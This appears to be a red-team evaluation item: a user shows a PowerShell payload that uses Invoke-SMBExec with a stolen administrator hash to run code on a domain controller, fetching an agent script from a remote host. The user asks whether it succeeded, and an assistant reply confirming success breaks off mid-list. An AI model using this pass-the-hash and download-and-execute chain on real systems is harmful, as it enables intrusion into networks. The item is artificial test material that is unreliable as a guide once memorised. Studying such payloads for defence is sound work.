Payload: [Net.ServicePointManager]::SecurityProtocol =…
- User
Payload:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1' -UseBasicParsing);Invoke-SMBExec -Target SENSITIVE-DC -Domain TEST -Username Administrator -Hash cb80658eed89f3653eb8d260ae02d3e2 -Command 'curl http://192.168.1.29:9000/deployagent_p2p_104.ps1 -o b.ps1&&powershell -ExecutionPolicy Bypass -Command "b.ps1;exit -y"' -verbosePurpose: using valid administrator credentials to move laterally to the domain controller (DC) and other devices via remote access services such as Remote Desktop Protocol (RDP).
Result: VERBOSE: [+] TEST\Administrator successfully authenticated on SENSITIVE-DC VERBOSE: TEST\Administrator has Service Control Manager write privilege on SENSITIVE-DC VERBOSE: Service UBEFYKFVWPDIVEXLHJUV created on SENSITIVE-DC VERBOSE: [*] Trying to execute command on SENSITIVE-DC [+] Command executed with service UBEFYKFVWPDIVEXLHJUV on SENSITIVE-DC VERBOSE: Service UBEFYKFVWPDIVEXLHJUV deleted on SENSITIVE-DC
Based on the execution result of the payload, did it successfully achieve the intended purpose? Please explain why and then provide a final answer with 'yes' or 'no'.
- Assistant
Based on the provided execution result, the payload appears to have successfully achieved its intended purpose. The payload's intention was to use valid administrator credentials to move laterally to the domain controller (SENSITIVE-DC) and execute a command. The verbose logs indicate the following:
-
Authentication: The message "TEST\Administrator successfully authenticated on SENSITIVE-DC" confirms that the payload successfully authenticated using the provided credentials.
-
Privileges: The message "TEST\Administrator has Service Control Manager write privilege on SENSITIVE-DC" indicates that the necessary privileges were obtained to create and manage services on the target system.
-
Service Creation: The message "Service UBEFYKFVWPDIVEXLHJUV created on SENSITIVE-DC" suggests that a service was successfully created to execute the command.
-